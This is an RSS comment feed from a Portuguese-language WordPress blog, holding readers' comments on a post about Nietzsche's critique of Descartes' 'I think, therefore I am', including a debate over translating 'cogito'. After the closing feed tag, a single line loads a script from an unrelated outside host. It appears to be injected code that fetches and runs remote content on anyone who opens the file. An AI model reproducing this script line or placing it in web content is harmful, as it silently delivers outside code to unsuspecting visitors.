<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comentários sobre: Nietzsche contra o &#8220;Penso, logo existo&#8221; de Descartes</title>
	<atom:link href="http://www.eternoretorno.com/2008/06/21/nietzsche-contra-penso-logo-existo-descartes/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.eternoretorno.com/2008/06/21/nietzsche-contra-penso-logo-existo-descartes/</link>
	<description>Pensamentos, Existencialismo, Trágico, Absurdo, Música, etc.</description>
	<lastBuildDate>Fri, 30 Jul 2010 14:29:03 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
	<item>
		<title>Por: adv</title>
		<link>http://www.eternoretorno.com/2008/06/21/nietzsche-contra-penso-logo-existo-descartes/comment-page-1/#comment-31</link>
		<dc:creator>adv</dc:creator>
		<pubDate>Tue, 24 Jun 2008 04:44:25 +0000</pubDate>
		<guid isPermaLink="false">http://www.eternoretorno.com/?p=21#comment-31</guid>
		<description>@&lt;a href=&quot;#comment-30&quot; rel=&quot;nofollow&quot;&gt;Carlos&lt;/a&gt;: Olá Carlos, tenho percebido o erro que ocorre no IE quando se navega nos posts individuais, infelizmente ainda não consegui resolver, não é a minha área, embora eu esteja vasculhando fóruns e alguns amigos para encontrar uma solução... bom seria se tudo fosse como o Firefox ;)

Quanto a questão da tradução, é complicado, eu de fato não saberia dizer o &quot;real&quot; significado das palavras, sendo esta que peguei o que tem sido utilizado no consenso; mas assim como acontece com a própria obra de Nit, o consenso ainda gera muitas controvérsias. De qualquer forma, acho mais interessante o &quot;questionar&quot; no lugar do &quot;pensar&quot;, mas não alteraria a contraposição de Nit. 
um abraço</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-30" rel="nofollow">Carlos</a>: Olá Carlos, tenho percebido o erro que ocorre no IE quando se navega nos posts individuais, infelizmente ainda não consegui resolver, não é a minha área, embora eu esteja vasculhando fóruns e alguns amigos para encontrar uma solução&#8230; bom seria se tudo fosse como o Firefox ;)</p>
<p>Quanto a questão da tradução, é complicado, eu de fato não saberia dizer o &#8220;real&#8221; significado das palavras, sendo esta que peguei o que tem sido utilizado no consenso; mas assim como acontece com a própria obra de Nit, o consenso ainda gera muitas controvérsias. De qualquer forma, acho mais interessante o &#8220;questionar&#8221; no lugar do &#8220;pensar&#8221;, mas não alteraria a contraposição de Nit.<br />
um abraço</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: Carlos</title>
		<link>http://www.eternoretorno.com/2008/06/21/nietzsche-contra-penso-logo-existo-descartes/comment-page-1/#comment-30</link>
		<dc:creator>Carlos</dc:creator>
		<pubDate>Mon, 23 Jun 2008 21:33:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.eternoretorno.com/?p=21#comment-30</guid>
		<description>Olá, cheguei via rec6...

Duas coisas, seu site está com um bug no I.E que fecha repetidas vezes antes de carregar.

Gostei do post, mas sempre impliquei com a tradução errada de penso logo existo. O original &quot;cogito ergo sum&quot; tem um significado distinto.. .o correto seria &quot;questiono logo existo..&quot; que transmite melhor a idéia origal de descartes... questionar tudo (todas as existências) e apartir daí verificar do que se pode ter certeza. 

Abs.
Carlos
O</description>
		<content:encoded><![CDATA[<p>Olá, cheguei via rec6&#8230;</p>
<p>Duas coisas, seu site está com um bug no I.E que fecha repetidas vezes antes de carregar.</p>
<p>Gostei do post, mas sempre impliquei com a tradução errada de penso logo existo. O original &#8220;cogito ergo sum&#8221; tem um significado distinto.. .o correto seria &#8220;questiono logo existo..&#8221; que transmite melhor a idéia origal de descartes&#8230; questionar tudo (todas as existências) e apartir daí verificar do que se pode ter certeza. </p>
<p>Abs.<br />
Carlos<br />
O</p>
]]></content:encoded>
	</item>
	<item>
		<title>Por: Luis Gustavo Xavier</title>
		<link>http://www.eternoretorno.com/2008/06/21/nietzsche-contra-penso-logo-existo-descartes/comment-page-1/#comment-27</link>
		<dc:creator>Luis Gustavo Xavier</dc:creator>
		<pubDate>Mon, 23 Jun 2008 00:05:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.eternoretorno.com/?p=21#comment-27</guid>
		<description>vlaue pelo texto, não é fácil encontrar clareza em textos da complicada filosofia de Nit, me ajuduo bastante</description>
		<content:encoded><![CDATA[<p>vlaue pelo texto, não é fácil encontrar clareza em textos da complicada filosofia de Nit, me ajuduo bastante</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>